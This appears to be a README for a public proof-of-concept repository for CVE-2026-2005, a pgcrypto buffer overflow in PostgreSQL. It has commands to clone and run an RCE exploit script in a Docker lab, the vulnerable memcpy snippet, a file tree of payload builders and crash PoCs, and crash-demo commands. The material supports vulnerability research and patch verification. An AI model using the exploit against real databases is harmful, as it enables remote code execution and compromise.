git clone https://github.com/dinosn/cve-2026-2005.git
cd cve-2026-2005/lab
docker compose up -d pg-exploit
# postgres 초기화를 위해 약 5초 대기
python3 ../poc/exploit.py --run cve-2026-2005-pg-exploit

// contrib/pgcrypto/pgp-pubdec.c — pgp_parse_pubenc_sesskey()
ctx->cipher_algo = *msg;
ctx->sess_key_len = msglen - 3;                       // 공격자 제어 가능
memcpy(ctx->sess_key, msg + 1, ctx->sess_key_len);    // sess_key는 uint8[32]

├── README.md
├── poc/
│   ├── exploit.py          # 자체 포함 악용 생성기 + 실행기
│   ├── gen_exploit_v7.py   # 주석이 포함된 페이로드 빌더
│   ├── gen_payload.py      # 충돌 전용 PoC 생성기 (모든 오버플로 크기)
│   ├── poc_big.sql         # 사전 생성된 충돌 PoC (SIGSEGV)
│   └── poc_minimal.sql     # 최소 4바이트 오버플로 PoC
├── lab/
│   ├── docker-compose.yml  # 전체 랩: 취약, 패치, 디버그, 악용
│   ├── Dockerfile.exploit  # 릴리스 빌드 + 트리거 스크립트 (RCE 대상)
│   ├── Dockerfile.vuln     # 기본 취약 빌드 (충돌 데모)
│   ├── Dockerfile.debug    # Cassert 빌드 (어서션 데모)
│   ├── init.sql            # 데이터베이스 초기화
│   └── setup.sh            # 랩 설정 도우미
├── reports/
│   ├── RCE-CHAIN.md        # 상세 기술 악용 분석 문서
│   ├── REPORT.md           # 취약점 분석 보고서
│   └── TODO-FOR-RCE.md     # 개발 로그 (완료)
├── screenshots/
│   ├── 01-target-verification.png
│   ├── 02-exploit-fire.png
│   ├── 03-rce-proof.png
│   └── 04-full-run.png
└── src/                    # 관련 소스 스니펫

# 모든 컨테이너 시작
cd lab && docker compose up -d

# 충돌 데모 (기본 빌드에서 SIGSEGV)
docker exec cve-2026-2005-pg-vuln psql -U postgres -d lab -f /tmp/poc_big.sql
docker logs cve-2026-2005-pg-vuln 2>&1 | grep "signal 11"

# 패치 빌드 (정상적으로 거부)
docker exec cve-2026-2005-pg-fixed psql -U postgres -d lab -f /tmp/poc_big.sql
# ERROR: Public key too big

# 디버그 빌드 (파일:줄 번호 포함 어서션)
docker exec cve-2026-2005-pg-debug psql -U postgres -d lab -f /tmp/poc_big.sql
docker logs cve-2026-2005-pg-debug 2>&1 | grep "TRAP"